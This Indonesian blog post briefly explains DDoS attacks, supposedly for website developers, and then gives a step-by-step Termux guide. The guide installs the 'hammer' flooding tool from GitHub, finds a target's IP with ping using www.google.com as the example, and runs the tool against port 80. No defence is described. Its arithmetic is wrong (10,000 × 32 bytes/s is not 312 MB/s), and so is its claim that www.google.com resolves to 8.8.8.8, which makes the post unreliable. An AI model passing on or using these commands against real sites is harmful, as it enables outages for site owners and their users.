Hay sobat Newcyber.NET, seiring perkembangan zaman, teknologi komputasi semakin diminati dan semakin berkembang, setiap badan usaha kecil, menengah ataupun perseorangan kini berlomba-lomba untuk mempromosikan dirinya secara online, banyak situs penyedia layanan website bermunculan memberikan berbagai macam kebutuhan pada masing-masing pelaku usaha maupun pribadi, bicara mengenai website tentunya memiliki definisi kebutuhan yang bermacam-macam mulai dari segi UI UX maupun dalam sisi keamanan atau security website tersebut, untuk itu, kali ini kita akan membahas dasar security atau keamanan pada suatu website, demi keamanan situs tentunya seorang developer website akan melakukan apapun untuk memproteksi website miliknya dari serangan DDOS hingga serangan malware sekalipun,
Dewasa ini DDOS menjadi salah satu kerentanan situs yang tidak dapat diremehkan dan sangat sulit untuk mengatasi masalah tersebut dikarenakan membutuhkan resources yang cukup besar agar dapat melawan serangan DDOS secara frontal. Kali ini kita akan belajar memahami konsep DDOS tersebut diatas agar ketika kita sebagai developer website bisa mengantisipasi dapabila situsnya terkena serangan DDOS.
Apa itu DDOS?
Sebelum melangkah lebih jauh, kita akan sedikit menjelaskan kepada awam tentang apa itu DDOS.
Serangan DDoS (Denial Distribute of services) Attack, adalah serangan yang paling simple yang dapat di lakukan untuk menumbangkan suatu situs dengan memberikan efek kehancuran pada server site yang cukup berbahaya.
Simulasi DDOS.
Coba kita simulasikan saja seperti ini;
Jika ada ribuan Android/Komputer dalam waktu bersamaan melakukan perintah flood pada situs yang di tuju, padahal pada 1 komputer akan dapat mengirimkan data minimal sebesar 32 bytes/detik ke situs yang di tuju. Jika ada 10.000 komputer yang melakukan perintah tersebut secara bersamaan, maka dapat disimpulkan bahwa akan terdapat kiriman data sebesar 312 Mega Bytes/detik yang di terima oleh situs yang di tuju tersebut, maka secara otomatis server dari situs yang di tuju tadi pun harus merespon kiriman data yang di kirim dari 10.000 komputer yang melakukan flooder ping secara bersamaan. Jika 312 MB/detik data yang harus di proses oleh server, dalam 1 menit saja, server harus memproses kiriman data sebesar 312 MB x 60 detik = 18720 MB.
Dapat di tebak bukan? situs yang di serang dengan metode ini akan mengalami Over Load/kelebihan data, tidak sanggup memproses kiriman data yang datang dan kemungkinan besar tidak bisa di akses lagi (system not found).
[the_ad id=”5651″]
Cara Melakukan DDOS dengan Termux di Android.
Karena itulah mengapa kita harus memahami cara melakukan DDOS yang kali ini akan coba kita terapkan melalui salah satu aplikasi favorit kita; Termux di Android.
1. Pertama adalah instal termux. bagi yg belom punya silahkan Download ( )
2. Ke dua masukan command ini :
✓ pkg install git ( jika ada text “y/n” klik aja “y” )
✓ pkg install python ( jika ada text “y/n” klik aja “y” )
✓ git clone http://github.com/cyweb/hammer
✓ cd hammer
✓ python hammer.py
3. Cara menggunakan nya adalah dengan cara berikut;
Cari IP adress web nya masukan command ini di Termux :
✓ ping (website target)
sebagai contoh kita akan melakukan DDOS website www.google.com maka kita akan mencari IP target terlebih dahulu dengan masukan command pada termux berikut ini :
✓ ping www.google.com
✓ Maka akan keluar alamat IP website nya dan alamat IP nya 8.8.8.8
4. Kemudian lanjut ke langkah berikutnya,
jika kita akan melakukan serangan maka kita akan menggunakan command berikut ini:
✓ python3 hammer.py -s (IP adress web) -p 80 -t 135
PENJELASAN :
- ° bagian “-s” adalah IP adres targetnya ok?
- ° bagiian “-p” adalah PORT website target. port default adalah 80
- ° bagian “-t” adalah bagian untuk kiriman data kita ke web targetnya defaultnya 135
Oke sob, mungkin itu dulu ya yang bisa kita bagikan kepada sobat Newcyber.NET sekalian, semoga bermanfaat ya sob, Wassalamu’alaikum, WR. WB. 🙂 #Freedom of speech, freedom of expression, freedom of internet | #Anonymous #WikiLeak #AntiKorupsi #BIN don’t be serious. #Internet is for FUN. Expect Us ©2020.
